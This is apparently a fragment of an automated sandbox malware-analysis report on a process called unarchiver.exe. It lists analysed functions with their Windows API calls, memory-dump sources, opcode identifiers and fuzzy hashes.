Instruction Fuzzy Hash: FC1160755053809FD712CF25DC85B56BFE8EF06220F0884AAED45CB252D364E908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A88E, Relevance: 1.6, APIs: 1, Instructions: 60
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,00000E2C,8CA2C6F5,00000000,00000000,00000000,00000000), ref: 02B0A8ED

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 4b2f2aa616c4418ba3d9b7089de0986bf2aff7d0ec6476bce2213cf3af8126c2
Instruction ID: d080c9de761d6b647da5c78a90203098be26adb56be73a6c288823dd4f4349cb
Opcode Fuzzy Hash: 4b2f2aa616c4418ba3d9b7089de0986bf2aff7d0ec6476bce2213cf3af8126c2
Instruction Fuzzy Hash: 62118271900304AFEB21DF55DC84F96FFA8EF44710F1488AAEA459B151D774A404CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A7AE, Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNELBASE(?,00000E2C,8CA2C6F5,00000000,00000000,00000000,00000000), ref: 02B0A80A

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e7997864fabbbc5341eed4a90ecb3baceb9a40ba431c6f0f504f0e70818845b9
Instruction ID: 6375f81bd7495d912505359eff1c7d80ed3b768d84e9f941d59dba0e9096af94
Opcode Fuzzy Hash: e7997864fabbbc5341eed4a90ecb3baceb9a40ba431c6f0f504f0e70818845b9
Instruction Fuzzy Hash: 18119171900304AFEB21DF55DC84FA6FFA8EF44720F1488AAEE459B281D774A405CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A1F4, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 02B0A290

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 9f00e677b3a27fa8b08431031bfdb1114fada9976168fc8cb790231f0761d904
Instruction ID: 41615e41043d1fc8e005e772aac4e31aacfe695a535243ea1a05474242b5c3e4
Opcode Fuzzy Hash: 9f00e677b3a27fa8b08431031bfdb1114fada9976168fc8cb790231f0761d904
Instruction Fuzzy Hash: 5111FB3550D3C08FD7538B259894754BFB0EF47324F1D84EBC9898F2A3C26A9949DB62

Uniqueness

Uniqueness Score: -1.00%

Function 02B0B020, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 02B0B074

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 15ae871c5ce7a0a9644b50ecc7868bb339b1d3be5e0f91bfc62786d697f5001f
Instruction ID: 60b2cb72a6e7b1c23d84fc005f58892f5b2f8aed6c2e21f51de1bd33a40b19b9
Opcode Fuzzy Hash: 15ae871c5ce7a0a9644b50ecc7868bb339b1d3be5e0f91bfc62786d697f5001f
Instruction Fuzzy Hash: 901170754093849FDB12CF25DC84B56FFB4EF46224F0884EAED858F253D275A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 02B0ADF7, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 02B0AE50

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 159d688f28bb83f8dcad77deb3aa979b4c535bcc3febec85559d6de34edbccbe
Instruction ID: 34510167333a73391a7aabb97e408855397fcc6032c104d577e248bc0b832528
Opcode Fuzzy Hash: 159d688f28bb83f8dcad77deb3aa979b4c535bcc3febec85559d6de34edbccbe
Instruction Fuzzy Hash: BB11A0715093809FD7128B25DC85B52FFB8EF46220F09C4DBED858F262D374A848CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A46A, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?), ref: 02B0A4AF

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: CreateDirectory
String ID:
API String ID: 4241100979-0
Opcode ID: b8ce39472ce7377ce7230f1ce9ff1b23f5c5009c3ee8bdc3e7e2995ca3bb990d
Instruction ID: b5ad9bfcea409cff49a5756b603c959e3791260b3baca9f799014dfd99d5b7e0
Opcode Fuzzy Hash: b8ce39472ce7377ce7230f1ce9ff1b23f5c5009c3ee8bdc3e7e2995ca3bb990d
Instruction Fuzzy Hash: CF1130756002408FDB11CF29D8C975AFFD8EF44220F0884AADD49CB682D674E504CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A6EE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E2C,8CA2C6F5,00000000,00000000,00000000,00000000), ref: 02B0A741

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: bc37c89ce153a9842098e9d985a1b57ede68f829b6a84d64012740ee0f67c014
Instruction ID: e5e1d95c67be737b6e167b1dbe617ccad186997f58d8a7ca2a6079290d4f25f7
Opcode Fuzzy Hash: bc37c89ce153a9842098e9d985a1b57ede68f829b6a84d64012740ee0f67c014
Instruction Fuzzy Hash: FD01C0B1500304AFE7219B29DC85BAAFFA8EF44720F14C49AEE459B281D664B404CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A23C, Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 02B0A290

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 104ee516f7ac23e9eb2fb23549c69ef80305e1298b7b3a4a2e22eafc2386b73d
Instruction ID: af51bda54baa74b167ec89778d94b28871e8ceda79af73ff5fd4028500f52b7d
Opcode Fuzzy Hash: 104ee516f7ac23e9eb2fb23549c69ef80305e1298b7b3a4a2e22eafc2386b73d
Instruction Fuzzy Hash: A41188714093849FD7128B15DC84B62FFB4DF46624F0884DAED858F293D275A908CB72

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A172, Relevance: 1.5, APIs: 1, Instructions: 47fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNELBASE(?,00000E2C,?,?), ref: 02B0A1C2

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 9dd37147af48ccc2c4e11be8fb8fad8382cae1e9a66082b78e3927ee539d7e06
Instruction ID: db694a1bcd91ab1124a0e1970a7f43e04ee83d1de2b45fb5ea340d5ac415f46a
Opcode Fuzzy Hash: 9dd37147af48ccc2c4e11be8fb8fad8382cae1e9a66082b78e3927ee539d7e06
Instruction Fuzzy Hash: 1701D471900200ABD710DF1ADC85B66FBE8FF88B20F14816AED089B745E635F915CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 02B0AA52, Relevance: 1.5, APIs: 1, Instructions: 47pipeCOMMON

Download Yara Rule

APIs

CreatePipe.KERNELBASE(?,00000E2C,?,?), ref: 02B0AAA2

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: 5edf7cab1c6830a8f21ed6318d9d494395ee702d2ffca6119221dda97d8f80b9
Instruction ID: 12de9175eb09e13aeb82b4f30a0be07365078936053ff22d589f781fba74607c
Opcode Fuzzy Hash: 5edf7cab1c6830a8f21ed6318d9d494395ee702d2ffca6119221dda97d8f80b9
Instruction Fuzzy Hash: F601B172900200ABD310DF1ADC85B66FBE8FB88B20F14812AED089B645E631F915CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A642, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 02B0A674

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: e5bb3d26de7cbae8960b1f232e4d9e9ac601fa31604bf5bc6be3c6eb8ef97b77
Instruction ID: 123ec99395f65c019196fb119441b5ad40b01d632c3c8023b56ff02a5461a17a
Opcode Fuzzy Hash: e5bb3d26de7cbae8960b1f232e4d9e9ac601fa31604bf5bc6be3c6eb8ef97b77
Instruction Fuzzy Hash: 6101A2759103409FDB11CF69D8847A6FFA4EF44220F08C4EADD498F782D675A444CF61

Uniqueness

Uniqueness Score: -1.00%

Function 02B0AE1E, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(?), ref: 02B0AE50

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: f7d6720f001c6a39a69d060aa5fe69d3edc15ebf8bbf2b672fbf8402dddb8ce5
Instruction ID: bcc04c0eb84d9ac80c501c257584edaa74e57471c97420b16a4d3b5bbcd71327
Opcode Fuzzy Hash: f7d6720f001c6a39a69d060aa5fe69d3edc15ebf8bbf2b672fbf8402dddb8ce5
Instruction Fuzzy Hash: DB01D1755003418FDB118F19D885766FFA8EF44620F18C4EADE898B292D274A808CEA2

Uniqueness

Uniqueness Score: -1.00%

Function 02B0B042, Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 02B0B074

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: aa9626c76ad62c415caa0fc58820b192d4dae0871087d967e1c7d45abe558076
Instruction ID: 2f0912dc9e69789f147258ebedc45de95ed706ff157f6e0810139ab68ecd9845
Opcode Fuzzy Hash: aa9626c76ad62c415caa0fc58820b192d4dae0871087d967e1c7d45abe558076
Instruction Fuzzy Hash: 5F01AD748002449FDB11CF25E884B66FFA4EF44224F08C4EADD598F282E2B5A404CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02B0A25E, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 02B0A290

Memory Dump Source

Source File: 0000000E.00000002.345627343.0000000002B0A000.00000040.00000001.sdmp, Offset: 02B0A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b0a000_unarchiver.jbxd

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 1794d8cb5a89be48978db4b034b43778f43726e4d3890ad6297d0df3c2baa4f9
Instruction ID: cdb60b57f9d5d65d89a416be8508556940df2111d7def0c3bf0fa41cb948def7
Opcode Fuzzy Hash: 1794d8cb5a89be48978db4b034b43778f43726e4d3890ad6297d0df3c2baa4f9
Instruction Fuzzy Hash: C0F0AF758143448FDB21CF15D884765FFA4EF48720F18C4EADE894B392D2B6A408CEA2

Uniqueness

Uniqueness Score: -1.00%

Function 02C50871, Relevance: 1.0, Instructions: 981COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.345815312.0000000002C50000.00000040.00000040.sdmp, Offset: 02C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2c50000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99f99d4fa93711c63887153544177125359fa896d8d325a6b0188891875e3cb
Instruction ID: 2e42253b68059bf42f01d37bb9626cbb7c745d34b9e74bf14c31a6d413feaa99
Opcode Fuzzy Hash: e99f99d4fa93711c63887153544177125359fa896d8d325a6b0188891875e3cb
Instruction Fuzzy Hash: 80119E1250E3804FE7038B6498A21D6BFF4DD8322071985EBC8C8CFA63D61D090FC7A2

Uniqueness

Uniqueness Score: -1.00%

Function 05200C30, Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.347143788.0000000005200000.00000040.00000001.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5200000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea6a5d642595ad54667c0ddca5c32ddb8a554f9e4583f3b533cd0a816f34d112
Instruction ID: 6571c2ff64d1071165a8a559480d190ac5b67e2d717c950506ff27954b87a481
Opcode Fuzzy Hash: ea6a5d642595ad54667c0ddca5c32ddb8a554f9e4583f3b533cd0a816f34d112
Instruction Fuzzy Hash: 9451D270E422099FDB18DFB5D480AAEBBB2FF8A300F609469E405B7390DB399941CF54

Uniqueness

Uniqueness Score: -1.00%

Function 05200AD8, Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.347143788.0000000005200000.00000040.00000001.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5200000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad4e5a7052ed06d388989a8f20e04654afe33b0aede5164ef0efbb4563c91dc3
Instruction ID: f1c1b8e381949f2c88c9ae09d7215e806dc4cfdbba1ec59e3bbed055748d1829
Opcode Fuzzy Hash: ad4e5a7052ed06d388989a8f20e04654afe33b0aede5164ef0efbb4563c91dc3
Instruction Fuzzy Hash: A6211435D01208DFCB04DFA8D4486EEBBB6FB89304F10952AD904B3290DA786D26CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02C507F7, Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.345815312.0000000002C50000.00000040.00000040.sdmp, Offset: 02C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2c50000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83f4357bcea1a3d8fd5f5d0c72813f49026e000e396227ea853005e24cbd60ea
Instruction ID: b56ab4eb7c2d805548430d23e8393e54d65cffcc73a1cb15e654bc9757f07412
Opcode Fuzzy Hash: 83f4357bcea1a3d8fd5f5d0c72813f49026e000e396227ea853005e24cbd60ea
Instruction Fuzzy Hash: 9F01D8B24096446FD301CF15EC41C57FBFCDF86525F09C46AEC448B201D265B9188BB2

Uniqueness

Uniqueness Score: -1.00%

Function 02C505CF, Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.345815312.0000000002C50000.00000040.00000040.sdmp, Offset: 02C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2c50000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30d4c9fd6b77fcda9c91bf60a5f0e7d49197ed89b50fba8f5f7514cce1174d26
Instruction ID: a00958add985c0d7475ca84715e824103b518ada239fb6c468ef0e217cc8a919
Opcode Fuzzy Hash: 30d4c9fd6b77fcda9c91bf60a5f0e7d49197ed89b50fba8f5f7514cce1174d26
Instruction Fuzzy Hash: EC018BB65497806FD7128F15DC41862FFB8DB86630709C49FEC898B652D1256909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 05200E38, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.347143788.0000000005200000.00000040.00000001.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5200000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d956980f3bf1f105d1583c55b9c931324d92ccebd5d01ba34505898b4a514da9
Instruction ID: 7331935ae5aad61321be144337582493565cb6badc23b6609129945587554ac0
Opcode Fuzzy Hash: d956980f3bf1f105d1583c55b9c931324d92ccebd5d01ba34505898b4a514da9
Instruction Fuzzy Hash: 6D012271D062098FCB08DFB4C448BAEBBB1AF02301F60A4AAC5017B382C7785A84CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05200E48, Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.347143788.0000000005200000.00000040.00000001.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5200000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a8e7db0911ded991323ef01481542b688a1bf8fdcb9ba0ad017be21c99aa12d
Instruction ID: fdde85cd9e698571bc21300c551ec5782e7e5f3d4ec192b43c562fb08ba389a1
Opcode Fuzzy Hash: 0a8e7db0911ded991323ef01481542b688a1bf8fdcb9ba0ad017be21c99aa12d
Instruction Fuzzy Hash: D401C070D02219DFCB08EFA4D0487AEBBB1BF45301F60A5A9C40577391DB785A95CB94

Uniqueness

Uniqueness Score: -1.00%

Function 05200BBF, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.347143788.0000000005200000.00000040.00000001.sdmp, Offset: 05200000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5200000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99b45bfbcec4bc199f990c4b46c2dd6ed96bf4150e98ccc4a51c987bad0db35b
Instruction ID: 1eb7eddc9aeaf1361470b9f60cf886045de569f9096ac45a974fa3084c7fc83b
Opcode Fuzzy Hash: 99b45bfbcec4bc199f990c4b46c2dd6ed96bf4150e98ccc4a51c987bad0db35b
Instruction Fuzzy Hash: 880119B5D09209DBCB04EFB9C5456AEBBF1FF85300F6094AAC449B3380EB345A01CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02C5081E, Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.345815312.0000000002C50000.00000040.00000040.sdmp, Offset: 02C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2c50000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bc518150767c7ab200e03523e12691ea8641e11ad84cfeefba8bb6d080ab848
Instruction ID: cdbe21a2b163000065a807858af1407bb395ebb538d9bdf047c23045025ffda3
Opcode Fuzzy Hash: 0bc518150767c7ab200e03523e12691ea8641e11ad84cfeefba8bb6d080ab848
Instruction Fuzzy Hash: C5F082B28056046BD200DF09EC45896F7ECEF94621F14C52EEC088B300E676A9148AF6

Uniqueness

Uniqueness Score: -1.00%

Function 02C505F6, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.345815312.0000000002C50000.00000040.00000040.sdmp, Offset: 02C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2c50000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28991b20c07706f2ce6ef045086b5fa579415eec82a2c21cf1ce0c20013dafc5
Instruction ID: 0e7160149d7aca375cfda94e276ca72bbee8fc02010078b873b25b35ee957a01
Opcode Fuzzy Hash: 28991b20c07706f2ce6ef045086b5fa579415eec82a2c21cf1ce0c20013dafc5
Instruction Fuzzy Hash: 7CE092B66006008BD750CF0AEC81452F7D8EB84630B18C47FDC0D8B701E575B504CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 02B023F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.345613951.0000000002B02000.00000040.00000001.sdmp, Offset: 02B02000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b02000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d90c13b7d03e85112466b32a67b2a70d5fbc5e2a061f9c36d615fa41c641ec80
Instruction ID: 5be3e515c480597f8f73f484f150ceb9459083e0936a6b9232559d2693605a31
Opcode Fuzzy Hash: d90c13b7d03e85112466b32a67b2a70d5fbc5e2a061f9c36d615fa41c641ec80
Instruction Fuzzy Hash: 05D05E79205A814FD3278A1CC1A9B993F94EF51B08F4A44F9EC008B6B3C368D585D200

Uniqueness

Uniqueness Score: -1.00%

Function 02B023BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.345613951.0000000002B02000.00000040.00000001.sdmp, Offset: 02B02000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2b02000_unarchiver.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a462d860d63b6dfe04ca8ac66a821f4875729fb6e24115476f649f1d7326ecc0
Instruction ID: ae4acf47ad88e391bd52a42d50aa6f0065c0b5f88e806addd3de540e7dbc35b7
Opcode Fuzzy Hash: a462d860d63b6dfe04ca8ac66a821f4875729fb6e24115476f649f1d7326ecc0
Instruction Fuzzy Hash: 8ED05E342012814FCB16DB1CD1D8F593BD4EB41B04F0684E8AC008B2A2C3B4E885C600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: unarchiver.exe PID: 1456 Parent PID: 4724 unarchiver.exeCOMMON

Execution Graph

Execution Coverage:	20.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	74
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02CF02A8, Relevance: 1.7, Strings: 1, Instructions: 481
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

u]}q^, xrefs: 02CF0345, 02CF034A

Memory Dump Source

Source File: 00000016.00000002.363029011.0000000002CF0000.00000040.00000001.sdmp, Offset: 02CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_2cf0000_unarchiver.jbxd

Similarity

API ID:
String ID: u]}q^
API String ID: 0-2704318657
Opcode ID: 3d01b55f7a4c8d31e0fec7b5af34abd156af149c45a4a30070f51ad1033c9ce1
Instruction ID: ab173ff0ed70bdb09a93d4a15dbb7c25e3eaa1e21988fb794d18c9efd3ab4628
Opcode Fuzzy Hash: 3d01b55f7a4c8d31e0fec7b5af34abd156af149c45a4a30070f51ad1033c9ce1
Instruction Fuzzy Hash: AF22D374E00218DFDB64DFA6D884B9DBBB2FB89301F1091A9E90AA7355DB349D81CF14

Uniqueness

Uniqueness Score: -1.00%

Function 0132B0B2, Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 0132B15F

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: e23a6c20b75ef57bfe3dd1269b61e0798f3f2dbc26ffff23dc465eec471ca99c
Instruction ID: 70ea84d784ffbf05a7ed1909c0e6057b4e71b1fd1b0b142d060f181ef153fa9c
Opcode Fuzzy Hash: e23a6c20b75ef57bfe3dd1269b61e0798f3f2dbc26ffff23dc465eec471ca99c
Instruction Fuzzy Hash: 3C31C472504344AFEB228F65DC84FA6BFBCEF05310F1484AAF985CB152D324A909DB71

Uniqueness

Uniqueness Score: -1.00%

Function 0132AB70, Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,00000E2C), ref: 0132AC13

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1c121eea2ffbffe572d6b8b5c7d45685f21a340966754d081579ecd406efc946
Instruction ID: 69209498e4a51f01e78aa05b932ceeb66fb226a2e8a64adc234b7f691c998466
Opcode Fuzzy Hash: 1c121eea2ffbffe572d6b8b5c7d45685f21a340966754d081579ecd406efc946
Instruction Fuzzy Hash: BB31C472504344AFEB228B65DC84F67BFECEF05710F0888AAF985CB152D224A419DB71

Uniqueness

Uniqueness Score: -1.00%

Function 0132A9E2, Relevance: 1.6, APIs: 1, Instructions: 95
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE(?,00000E2C,?,?), ref: 0132AAA2

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: CreatePipe
String ID:
API String ID: 2719314638-0
Opcode ID: 6cc7a8bb93371ca6ae736904e19c2a422a7edec9de39156e01cbd95a86e62684
Instruction ID: 8d413cb4367c5e54ee6beaff21c9279eb68ab531ca956ef0ae6ac897ec61c526
Opcode Fuzzy Hash: 6cc7a8bb93371ca6ae736904e19c2a422a7edec9de39156e01cbd95a86e62684
Instruction Fuzzy Hash: B231AC6240E3C06FD7038B758C61A65BFB4AF47610F1E84DBD8C4CF1A3D269A919C762

Uniqueness

Uniqueness Score: -1.00%

Function 0132A504, Relevance: 1.6, APIs: 1, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 0132A5A9

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: dc64716dcb712183fd13446ca8dc1aa2005433110d6d898bae2d173ceaf3bdbd
Instruction ID: 7270df7af0bace8bf8cab3bc991c2c468b76c1837f0a8f20fe1e409cc396763f
Opcode Fuzzy Hash: dc64716dcb712183fd13446ca8dc1aa2005433110d6d898bae2d173ceaf3bdbd
Instruction Fuzzy Hash: BC316BB1504380AFE722CF69DC44B66BFE8EF05214F1884AAE9858B652D375E809CB71

Uniqueness

Uniqueness Score: -1.00%

Function 0132A120, Relevance: 1.6, APIs: 1, Instructions: 84
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindNextFileW.KERNELBASE(?,00000E2C,?,?), ref: 0132A1C2

Memory Dump Source

Source File: 00000016.00000002.362155238.000000000132A000.00000040.00000001.sdmp, Offset: 0132A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_132a000_unarchiver.jbxd

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 1b30f2f1170462bf02a8cabad08b83a36d6426cc5c0e2e716079fa77489608da
Instruction ID: fce403dfd431b6a9dc3edf48ca6043c3ba9045b095e3bd5747c8a0ba41271154
Opcode Fuzzy Hash: 1b30f2f1170462bf02a8cabad08b83a36d6426cc5c0e2e716079fa77489608da
